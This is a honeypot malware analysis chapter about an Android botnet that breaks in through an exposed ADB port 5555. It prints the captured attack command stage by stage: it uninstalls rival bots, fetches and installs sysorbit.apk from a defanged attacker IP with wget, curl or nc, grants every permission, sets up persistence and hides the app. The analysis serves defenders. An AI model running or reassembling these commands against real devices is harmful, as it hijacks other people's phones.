The one that came in through the debug cable

The previous three families —XorDDoS, Mirai, RedTail— went after Linux servers. This one goes after something else: a phone. The honeypot has port 5555 open, the ADB port (Android Debug Bridge) — Android's debugging channel. When it's left exposed to the internet, it's an open, password-free door into an Android device.

And someone found it. This chapter is the catch; the teardown of the APK is in Chapter 8.

01The catch

A bot scanning port 5555. The moment the honeypot accepted the ADB connection, it fired off a single giant command — an Android shell that does everything in one go. To capture the sample, the honeypot itself downloaded the APK the command asked for.

1. 00:00.0Connects to 5555 from 176.65.139.248. ADB asks for no password: straight in.
2. 00:00.3Uninstalls the competition — a list of rival Android bots — and cleans out /data/local/tmp.
3. 00:00.3Downloads its APK (sysorbit.apk) from its own server, installs it granting every permission, starts the service, and hides it from the app list.

02The command, laid bare

All on one line. I've broken it into stages so it can be read, but it arrived all at once:

Before installing itself, it uninstalls other Android bots that might already be on the device. It wants the phone all to itself — the same war between crooks we saw in RedTail, but on Android.

pm uninstall com.manji.bot 2>/dev/null
pm uninstall com.iranbot.load 2>/dev/null
pm uninstall com.android.log_handler_v2 2>/dev/null
pm uninstall com.oreo.mcflurry 2>/dev/null
pm uninstall com.google.android.pms.update 2>/dev/null   # fake "pms"
pm uninstall com.google.android.gms.update 2>/dev/null   # fake "gms"
pm uninstall com.andriodakb.registerrs 2>/dev/null       # "andriod"
pm uninstall com.driots.sevice 2>/dev/null               # "sevice"
pm uninstall com.kbot.loadd 2>/dev/null                  # "loadd"
pm uninstall com.meowrisee.service 2>/dev/null
pm uninstall io.toy.zae 2>/dev/null
rm -rf /data/local/tmp/* 2>/dev/null

It downloads sysorbit.apk from 176.65.139.248, trying every tool an Android might have (busybox, toolbox, toybox, wget, curl) and, if nothing works, nc to a spare port. The same stubborn cascade as the Mirai loader.

busybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
toybox  wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
curl    hxxp://176.65.139[.]248/sysorbit.apk -o /data/local/tmp/x.apk ||
busybox nc 176.65.139[.]248 30254 > /data/local/tmp/x.apk   # last resort

It installs with -g (all permissions at once), launches the bot service, registers itself to start after a reboot, and hides itself from the app list. By the time the phone's owner looks, there's no new icon.

pm install -r -g /data/local/tmp/x.apk           # -g = grants ALL permissions
am start-foreground-service -n com.sysorbit.service.security/.BotService
am broadcast -a android.intent.action.BOOT_COMPLETED \
   -n com.sysorbit.service.security/.RestartReceiver   # persistence
pm hide com.sysorbit.service.security                   # vanishes from the list
rm -rf /data/local/tmp/x.apk

03The specimen

The APK the honeypot captured.

04Indicators (IOCs)